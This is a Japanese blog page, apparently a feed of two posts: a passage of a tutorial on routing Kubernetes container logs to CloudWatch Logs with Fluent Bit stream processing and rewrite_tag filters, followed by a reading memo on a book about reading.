[13] kube.var.log.containers.app-f9bfb5fc9-hq24n_default_fluent-tutorial-sample-app-320f20b2a3f8d6f77a4bee66d619263bce2d6efbee15407a85195376dc8c0cf4.log: [1646973667.039285859, {"level"=>"warning", "msg"=>"Access denied", "path"=>"/tardis", "requestID"=>"546745643", "time"=>"2022-03-11T04:41:07Z", "user"=>"TheMaster", "stream"=>"stderr", "time"=>"2022-03-11T04:41:07.039285859Z"}]
[14] kube.var.log.containers.app-f9bfb5fc9-hq24n_default_fluent-tutorial-sample-app-320f20b2a3f8d6f77a4bee66d619263bce2d6efbee15407a85195376dc8c0cf4.log: [1646973667.039291790, {"level"=>"debug", "msg"=>"Admin access", "path"=>"/tardis", "requestID"=>"546745643", "time"=>"2022-03-11T04:41:07Z", "user"=>"TheDoctor", "stream"=>"stderr", "time"=>"2022-03-11T04:41:07.03929179Z"}]

アウトプットに CloudWatch Logs を追加する。Core 機能のプラグインを使う。

cat << EOF > fluent-bit-configmap.yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: fluent-bit-config
  namespace: logging
  labels:
    k8s-app: fluent-bit
data:
  fluent-bit.conf: |
    [SERVICE]
        Parsers_File  parser.conf

    [INPUT]
        Name              tail
        Tag               kube.*
        Path              /var/log/containers/app*.log
        Parser            docker
        DB                /var/log/flb_kube.db
        Mem_Buf_Limit     5MB
        Skip_Long_Lines   On
        Refresh_Interval  10

    [FILTER]
        Name          parser
        Match         *
        Key_Name      log
        Parser        json
        Reserve_Data  True

    [OUTPUT]
        Name   stdout
        Match  *

    [OUTPUT]
        Name               cloudwatch_logs
        Match              *
        region             ap-northeast-1
        log_group_name     streams-example
        log_stream_prefix  log-level-
        auto_create_group  On

  parser.conf: |
    [PARSER]
        Name         docker
        Format       json
        Time_Key     time
        Time_Format  %Y-%m-%dT%H:%M:%S.%L
        Time_Keep    On

    [PARSER]
        Name    json
        Format  json
EOF
  • ロググループ名は固定で指定している。
  • log_stream_prefix + タグがログストリーム名になる。
k apply -f fluent-bit-configmap.yaml

Pod を削除して再起動する。

k -n logging delete po --all

Pod を確認する。

$ k -n logging get po
NAME               READY   STATUS    RESTARTS   AGE
fluent-bit-2dlg9   1/1     Running   0          10s

CloudWatch Logs でログを確認する。

f:id:sotoiwa:20220311161418p:plain

f:id:sotoiwa:20220311161431p:plain

ストリームプロセッシング

ブログ記事の例を参考にしてストリームプロセッシングを追加する。

cat << EOF > fluent-bit-configmap.yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: fluent-bit-config
  namespace: logging
  labels:
    k8s-app: fluent-bit
data:
  fluent-bit.conf: |
    [SERVICE]
        Parsers_File  parser.conf
        Streams_File  stream_processing.conf

    [INPUT]
        Name              tail
        Tag               kube.*
        Path              /var/log/containers/app*.log
        Parser            docker
        DB                /var/log/flb_kube.db
        Mem_Buf_Limit     5MB
        Skip_Long_Lines   On
        Refresh_Interval  10

    [FILTER]
        Name          parser
        Match         *
        Key_Name      log
        Parser        json
        Reserve_Data  True

    [OUTPUT]
        Name   stdout
        Match  logs.*

    [OUTPUT]
        Name               cloudwatch_logs
        Match              logs.*
        region             ap-northeast-1
        log_group_name     streams-example
        log_stream_prefix  log-level-
        auto_create_group  On

  parser.conf: |
    [PARSER]
        Name         docker
        Format       json
        Time_Key     time
        Time_Format  %Y-%m-%dT%H:%M:%S.%L
        Time_Keep    On

    [PARSER]
        Name    json
        Format  json

  stream_processing.conf: |
    [STREAM_TASK]
        Name   debug_logs
        Exec   CREATE STREAM debug WITH (tag='logs.debug') AS SELECT * from TAG:'kube.var.log.containers.app*' WHERE level = 'debug';

    [STREAM_TASK]
        Name   info_logs
        Exec   CREATE STREAM info WITH (tag='logs.info') AS SELECT * from TAG:'kube.var.log.containers.app*' WHERE level = 'info';

    [STREAM_TASK]
        Name   warn_logs
        Exec   CREATE STREAM warning WITH (tag='logs.warning') AS SELECT * from TAG:'kube.var.log.containers.app*' WHERE level = 'warning';

    [STREAM_TASK]
        Name   error_logs
        Exec   CREATE STREAM error WITH (tag='logs.error') AS SELECT * from TAG:'kube.var.log.containers.app*' WHERE level = 'error';

    [STREAM_TASK]
        Name   fatal_logs
        Exec   CREATE STREAM fatal WITH (tag='logs.fatal') AS SELECT * from TAG:'kube.var.log.containers.app*' WHERE level = 'fatal';
EOF
  • アウトプットでのマッチ条件を変え、オリジナルのストリームは出力しないようにする。
  • クエリするタグを今回に合わせて変更する。
k apply -f fluent-bit-configmap.yaml

Pod を削除して再起動する。

k -n logging delete po --all

Pod を確認する。

$ k -n logging get po
NAME               READY   STATUS    RESTARTS   AGE
fluent-bit-s52jq   1/1     Running   0          14s

ログを確認する。タグが変わっていることが確認できる。

$ k -n logging logs --tail 10 fluent-bit-s52jq
[0] logs.info: [1646980187.321632337, {"level"=>"info", "msg"=>"Got a request", "path"=>"/", "requestID"=>"45234523", "time"=>"2022-03-11T06:29:47Z", "stream"=>"stderr", "time"=>"2022-03-11T06:29:47.321632337Z"}]
[1] logs.info: [1646980188.321767575, {"level"=>"info", "msg"=>"Got a request", "path"=>"/", "requestID"=>"45234523", "time"=>"2022-03-11T06:29:48Z", "stream"=>"stderr", "time"=>"2022-03-11T06:29:48.321767575Z"}]
[2] logs.info: [1646980189.321911383, {"level"=>"info", "msg"=>"Got a request", "path"=>"/", "requestID"=>"45234523", "time"=>"2022-03-11T06:29:49Z", "stream"=>"stderr", "time"=>"2022-03-11T06:29:49.321911383Z"}]
[3] logs.info: [1646980190.322012971, {"level"=>"info", "msg"=>"Got a request", "path"=>"/", "requestID"=>"45234523", "time"=>"2022-03-11T06:29:50Z", "stream"=>"stderr", "time"=>"2022-03-11T06:29:50.322012971Z"}]
[4] logs.info: [1646980191.322113388, {"level"=>"info", "msg"=>"Got a request", "path"=>"/", "requestID"=>"45234523", "time"=>"2022-03-11T06:29:51Z", "stream"=>"stderr", "time"=>"2022-03-11T06:29:51.322113388Z"}]
[0] logs.warning: [1646980187.321664882, {"level"=>"warning", "msg"=>"Access denied", "path"=>"/tardis", "requestID"=>"546745643", "time"=>"2022-03-11T06:29:47Z", "user"=>"TheMaster", "stream"=>"stderr", "time"=>"2022-03-11T06:29:47.321664882Z"}]
[1] logs.warning: [1646980188.321804527, {"level"=>"warning", "msg"=>"Access denied", "path"=>"/tardis", "requestID"=>"546745643", "time"=>"2022-03-11T06:29:48Z", "user"=>"TheMaster", "stream"=>"stderr", "time"=>"2022-03-11T06:29:48.321804527Z"}]
[2] logs.warning: [1646980189.321949090, {"level"=>"warning", "msg"=>"Access denied", "path"=>"/tardis", "requestID"=>"546745643", "time"=>"2022-03-11T06:29:49Z", "user"=>"TheMaster", "stream"=>"stderr", "time"=>"2022-03-11T06:29:49.32194909Z"}]
[3] logs.warning: [1646980190.322057547, {"level"=>"warning", "msg"=>"Access denied", "path"=>"/tardis", "requestID"=>"546745643", "time"=>"2022-03-11T06:29:50Z", "user"=>"TheMaster", "stream"=>"stderr", "time"=>"2022-03-11T06:29:50.322057547Z"}]
[4] logs.warning: [1646980191.322148437, {"level"=>"warning", "msg"=>"Access denied", "path"=>"/tardis", "requestID"=>"546745643", "time"=>"2022-03-11T06:29:51Z", "user"=>"TheMaster", "stream"=>"stderr", "time"=>"2022-03-11T06:29:51.322148437Z"}]

CloudWatch Logs でログを確認する。

f:id:sotoiwa:20220311161454p:plain

f:id:sotoiwa:20220311161541p:plain

Rewrite Tag フィルター

ブログ記事は Fluentd での設定例だが、このまま Fluent Bit の Rewrite Tag フィルターで同じことをやってみる。

cat << "EOF" > fluent-bit-configmap.yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: fluent-bit-config
  namespace: logging
  labels:
    k8s-app: fluent-bit
data:
  fluent-bit.conf: |
    [SERVICE]
        Parsers_File  parser.conf

    [INPUT]
        Name              tail
        Tag               kube.*
        Path              /var/log/containers/app*.log
        Parser            docker
        DB                /var/log/flb_kube.db
        Mem_Buf_Limit     5MB
        Skip_Long_Lines   On
        Refresh_Interval  10

    [FILTER]
        Name          parser
        Match         *
        Key_Name      log
        Parser        json
        Reserve_Data  True

    [FILTER]
        Name          rewrite_tag
        Match         kube.var.log.containers.app*
        Rule          $level debug logs.debug false

    [FILTER]
        Name          rewrite_tag
        Match         kube.var.log.containers.app*
        Rule          $level info logs.info false

    [FILTER]
        Name          rewrite_tag
        Match         kube.var.log.containers.app*
        Rule          $level warn logs.warn false

    [FILTER]
        Name          rewrite_tag
        Match         kube.var.log.containers.app*
        Rule          $level error logs.error false

    [FILTER]
        Name          rewrite_tag
        Match         kube.var.log.containers.app*
        Rule          $level fatal logs.fatal false

    [OUTPUT]
        Name   stdout
        Match  logs.*

    [OUTPUT]
        Name               cloudwatch_logs
        Match              logs.*
        region             ap-northeast-1
        log_group_name     streams-example
        log_stream_prefix  log-level-
        auto_create_group  On

  parser.conf: |
    [PARSER]
        Name         docker
        Format       json
        Time_Key     time
        Time_Format  %Y-%m-%dT%H:%M:%S.%L
        Time_Keep    On

    [PARSER]
        Name    json
        Format  json
EOF
  • rewrite_tag の Rule の 1 つめの引数はログのキーで、JSON パースしないで log に対してマッチを擦ることも可能。
  • 2 つめの引数はマッチさせる正規表現
  • 3 つめの引数は新しいタグ
  • 3 つめの引数はオリジナルのストリームを残すかどうか
k apply -f fluent-bit-configmap.yaml

Pod を削除して再起動する。

k -n logging delete po --all

ロググループを一度削除する。

aws logs delete-log-group --log-group-name streams-example

Pod を確認する。

$ k -n logging get po
NAME               READY   STATUS    RESTARTS   AGE
fluent-bit-rsjmd   1/1     Running   0          14s

ログを確認する。タグが変わっていることが確認できる。

$ k -n logging logs --tail 10 fluent-bit-rsjmd
[3] logs.debug: [1646982484.219075724, {"level"=>"debug", "msg"=>"Admin access", "path"=>"/tardis", "requestID"=>"546745643", "time"=>"2022-03-11T07:08:04Z", "user"=>"TheDoctor", "stream"=>"stderr", "time"=>"2022-03-11T07:08:04.219075724Z"}]
[4] logs.debug: [1646982485.218921402, {"level"=>"debug", "msg"=>"Admin access", "path"=>"/tardis", "requestID"=>"546745643", "time"=>"2022-03-11T07:08:05Z", "user"=>"TheDoctor", "stream"=>"stderr", "time"=>"2022-03-11T07:08:05.218921402Z"}]
[0] logs.info: [1646982484.218772031, {"level"=>"info", "msg"=>"Got a request", "path"=>"/", "requestID"=>"45234523", "time"=>"2022-03-11T07:08:04Z", "stream"=>"stderr", "time"=>"2022-03-11T07:08:04.218772031Z"}]
[0] logs.debug: [1646982486.219027579, {"level"=>"debug", "msg"=>"Admin access", "path"=>"/tardis", "requestID"=>"546745643", "time"=>"2022-03-11T07:08:06Z", "user"=>"TheDoctor", "stream"=>"stderr", "time"=>"2022-03-11T07:08:06.219027579Z"}]
[1] logs.debug: [1646982487.219176543, {"level"=>"debug", "msg"=>"Admin access", "path"=>"/tardis", "requestID"=>"546745643", "time"=>"2022-03-11T07:08:07Z", "user"=>"TheDoctor", "stream"=>"stderr", "time"=>"2022-03-11T07:08:07.219176543Z"}]
[2] logs.debug: [1646982488.219530324, {"level"=>"debug", "msg"=>"Admin access", "path"=>"/tardis", "requestID"=>"546745643", "time"=>"2022-03-11T07:08:08Z", "user"=>"TheDoctor", "stream"=>"stderr", "time"=>"2022-03-11T07:08:08.219530324Z"}]
[3] logs.debug: [1646982489.219424415, {"level"=>"debug", "msg"=>"Admin access", "path"=>"/tardis", "requestID"=>"546745643", "time"=>"2022-03-11T07:08:09Z", "user"=>"TheDoctor", "stream"=>"stderr", "time"=>"2022-03-11T07:08:09.219424415Z"}]
[4] logs.debug: [1646982490.219738572, {"level"=>"debug", "msg"=>"Admin access", "path"=>"/tardis", "requestID"=>"546745643", "time"=>"2022-03-11T07:08:10Z", "user"=>"TheDoctor", "stream"=>"stderr", "time"=>"2022-03-11T07:08:10.219738572Z"}]
[0] logs.info: [1646982488.219244483, {"level"=>"info", "msg"=>"Got a request", "path"=>"/", "requestID"=>"45234523", "time"=>"2022-03-11T07:08:08Z", "stream"=>"stderr", "time"=>"2022-03-11T07:08:08.219244483Z"}]
[1] logs.info: [1646982490.219489820, {"level"=>"info", "msg"=>"Got a request", "path"=>"/", "requestID"=>"45234523", "time"=>"2022-03-11T07:08:10Z", "stream"=>"stderr", "time"=>"2022-03-11T07:08:10.21948982Z"}]

CloudWatch Logs でログを確認する。

f:id:sotoiwa:20220311161558p:plain

f:id:sotoiwa:20220311161613p:plain

Fluent Logger ライブラリについては省略。

読書メモ: 新版 人生で大切なことは、すべて「書店」で買える。 20代で身につけたい本の読み方88

先日読んだ本でおすすめされていた本のひとつ。読書術系の本で共通して書かれている「同じジャンルの本を複数まとめて読むとよい」という原則にしたがって、読書術系の本を読んでいるシリーズ。

233 ページで平均読書時間は 2 時間 26 分の本。自分の場合は 3 時間半くらい(3 日間)。

全体的な感想

これまでの読書術は、著者がある程度努力して勉強の為に読書をしており、そのノウハウという感じがあったが、この本の著者は純粋に本が大好きであり、その分読書そのものを楽しむことに重点を置いているように感じた。読書のテクニックのような内容は少なめで、読書をするとどんなによいかがたくさん書いてある。タイトルに 88 とあるように 88 項目が並べられているため、ひとつひとつは読みやすいし納得するものの、平坦で読みづらくも感じた。

確かに、これまで自分はあまり本を読んでいないが、それでも少ない読んだ本の中に人生に具体的によい意味で大きな影響を与えたと思う本がいくつかある。もっと本を読んでいれば、もっとよい影響を受けていたかも知れない。せっかくなので思いついたものをリストにしておくと以下。

この本の中でもカテゴリ毎におすすめの本があげられているので、今後の読書の参考にできる。

3 つに要約

(88 項目が平坦に書かれているために、著者の主張を 3 つに絞るのがなかなか難しい)

  1. そもそも読書は好きでするものであり、書店で立ち読みしていたら興奮して手が震えてしまうようなものが本当の読書である。
  2. 本は多大な労力をかけて著者の経験を凝縮して格安で提供してくれているもの。謙虚に、当事者を持って読書をしてそこから気づきを得よう。
  3. 本を読むかどうかで、とてつもない差が生まれる。成功者は本を読んでいる。

気になった部分の引用

読んでいる最中に眠くなってきたら嘘の読書です。徹夜明けなのに目が冴えるのが正しい読書です。書店で立ち読みしていたら興奮で本を持つ手がわなわなと震えてきます。まだ買っていないのに涙で本が滲んでしまいます。読み終えて気がついたらレジに向かっています。

実際著者はこういう体験を読書でしており、読書が大好きなんだろうと感じる一節。自分はこのような体験はほとんどしたことがない。

まずはたくさん言葉のシャワーを浴びる。言葉によってしか、人はタフになれない。

「言葉のシャワー」という表現が、「遅読家のための読書術」に書いてあった、「フローとして音楽を聴くように本を読む」というのと少し似ていると感じた。

分厚い企画書に面白い企画は1つもなかったのです。面白い企画はいつも薄い企画書でした。実際には分厚くて文字がビッシリの企画書は、読み飛ばされていることがほとんどです。分厚さというのは自己満足であり、自信のなさの裏返しだったのです。

著者にとっても、分厚くて文字がビッシリの本を書くのは責任逃れができて楽チンです。「◯◯だ」と言い切らずに、「◯◯かもしれないし、△△かもしれない。みんなそれぞれが正しい」と責任逃れをすれば、すぐに3倍の分厚さになります。

仕事上、いろいろな選択肢を掲示してお客様に選んでしまうような資料を作りがちだが、情報量の多い資料は責任逃れといわれるとその通りで、情報を絞って「こうすべき」と言いきれるようにすることが大切と感じる。

限られた時間内に良質のインプットをするコツがあります。その分野の本で自分が読みやすいと感じたものを3冊だけ買います。3冊の内訳は「好きな著者」「嫌いな著者」「初めての著者」がオススメです。

同じ分野の複数の本を読むということ他の読書本でもよく書かれている。この本では著者によって選ぶという視点も追加。

速読術として僕が辿り着いたある結論があります。それはゆっくり読むようにすると、結果として速く読めるようになるということです。「速く読まなくてはいけない」と焦ると、内容が頭に入らない上に遅くなります。

数をこなしていきながら様々なジャンルの知識が身についてくると、否が応でも読むスピードは速くなります。

別に速読しようとしなくてもよいと書いてくれていて、安心する。

1しか気づけない人と100気づける人とでは、読む本の値打ちがまるで違ってきます。気づく力は、その人が背負っているリスクに比例します。リスクとは当事者意識のことです。会社という組織では、当事者意識の強いもの順にポジションが高く給料も高いのです。

企画を考えることがすべてのビジネスパーソンの仕事です。企画室や経営戦略室に配属されている人たちだけが企画を考えている会社は潰れます。伸びている会社は、総務部も人事部も経理部も全員企画を毎日考えています。社長や役員や管理職だけが企画を考えている会社は潰れます。伸びている会社は正社員だけではなく、パートタイムやアルバイトで働いている人たちも毎日企画を考えています。

本気で本質を衝く能力を磨きたいのであれば、すべてにおいて当事者意識を持って考える癖をつけることです。

このあたりの文章は、Customer Obsession や、Ownership のことが書いてあるなと読んでいて感じた。

じっと待っているのと、試行錯誤を繰り返しながら前進するのとでは、雲泥の差です。夢の実現に必要なことは才能でも運でもありません。チャンスが到来したときにモタモタして遅刻しないことです。

これは Bias for Action。